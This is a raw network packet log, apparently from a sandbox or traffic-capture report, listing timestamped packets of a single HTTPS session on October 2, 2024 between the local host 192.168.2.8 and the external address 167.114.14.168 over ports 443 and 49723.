Oct 2, 2024 06:11:35.939894915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.939969063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.939975023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.940032005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.984075069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.984098911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.984155893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.984169006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.984205961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.984221935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.984683990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.984720945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.984740973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.984745979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.984776020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.984793901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.985939980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.985955954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986011028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.986016989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986093998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.986449003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986464977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986546993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.986552000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986603022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.986824036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986840010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.986901999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.986907959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987021923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.987298012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987313032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987376928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.987389088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987494946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.987785101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987802029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987862110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.987867117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.987991095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.030533075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.030561924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.030626059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.030632973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.030687094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.074786901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.074820995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.074863911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.074871063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.074963093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.074963093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.075500011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.075520039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.075550079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.075598001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.075603008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.075684071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.076622009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.076642036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.076693058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.076698065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.076756001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.076986074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077006102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077049971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077055931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077075958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077100039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077378988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077394962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077452898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077457905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077620983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077789068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077805996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077852011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077857971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.077893019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.077910900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.078263044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.078291893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.078325033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.078329086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.078356028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.078373909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.121398926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.121422052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.121484995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.121493101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.121535063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.165854931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.165874004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.165936947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.165945053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.165987015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.166161060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.166177034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.166218042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.166223049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.166245937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.166265011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.167368889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.167393923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.167433977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.167438984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.167467117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.167479992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.167704105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.167721033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.167762995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.167768002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.167820930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.167836905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168123960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168140888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168184042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168190002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168216944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168253899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168508053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168523073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168564081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168569088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168596983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168621063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.168962002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.168983936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.169032097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.169038057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.169064045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.169081926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.212405920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.212430954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.212502003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.212508917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.212932110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.256382942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.256400108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.256447077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.256454945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.256484032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.256504059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.256804943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.256839037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.256858110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.256863117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.256886959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.256901979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.257929087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.257946014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.257992029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.257997990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.258553982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.258574963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.258608103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.258615017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.258630037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.258660078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.259166002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.259182930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.259229898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.259234905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.259248972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.259300947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.259452105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.259469986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.259512901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.259519100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.259604931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.259999990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.260015965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.260065079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.260071039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.260099888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.260114908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.265058994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.303206921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.303225040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.303280115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.303288937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.303348064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.347007036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.347026110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.347099066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.347105026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.347146988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.347631931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.347651005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.347712040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.347718000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.347810984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.348678112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.348694086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.348822117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.348826885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.348885059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.349361897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.349376917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.349416018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.349420071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.349448919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.349473953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.349893093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.349909067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.349951029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.349956989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.349989891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350012064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350343943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.350368023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.350413084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350419044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.350452900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350474119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350826025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.350841999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.350892067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350897074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.350927114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.350944996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.393991947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.394025087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.394062042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.394068956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.394103050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.394121885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.437906027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.437927008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.437995911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.438005924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.438071012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.438239098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.438268900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.438291073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.438296080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.438307047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.438344955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.439237118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.439261913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.439305067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.439310074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.439342976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.439357042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.440032005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440049887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440094948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.440099955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440120935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.440149069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.440468073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440483093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440542936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.440548897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440903902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.440968990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.440984964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.441040993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.441046000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.441073895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.441093922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.441246986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.441247940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.441272974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.441304922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.441309929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.441344976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.441363096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.484894991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.485003948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.485057116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.485153913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.528757095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.528776884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.528868914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.528877974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.528953075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.529095888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.529112101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.529150963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.529155970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.529189110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.529202938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.529901981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.529922009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.529969931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.529977083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.530771971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.530791998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.530824900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.530832052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.530841112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.530875921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.531318903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.531349897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.531375885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.531380892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.531397104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.531768084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.531800985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.531820059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.531826019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.531855106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.531882048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.532239914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.532254934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.532293081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.532298088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.532308102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.532335997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.533034086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.575603962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.575623035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.575737000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.575746059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.575818062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.619592905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.619612932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.619704008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.619712114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.619745016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.619765043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.619925976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.619942904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.619987965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.619995117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.620559931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.620579958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.620625973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.620631933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.620641947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.620675087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.621408939 CEST	443	49723	167.114.14.168	192.168.2.8
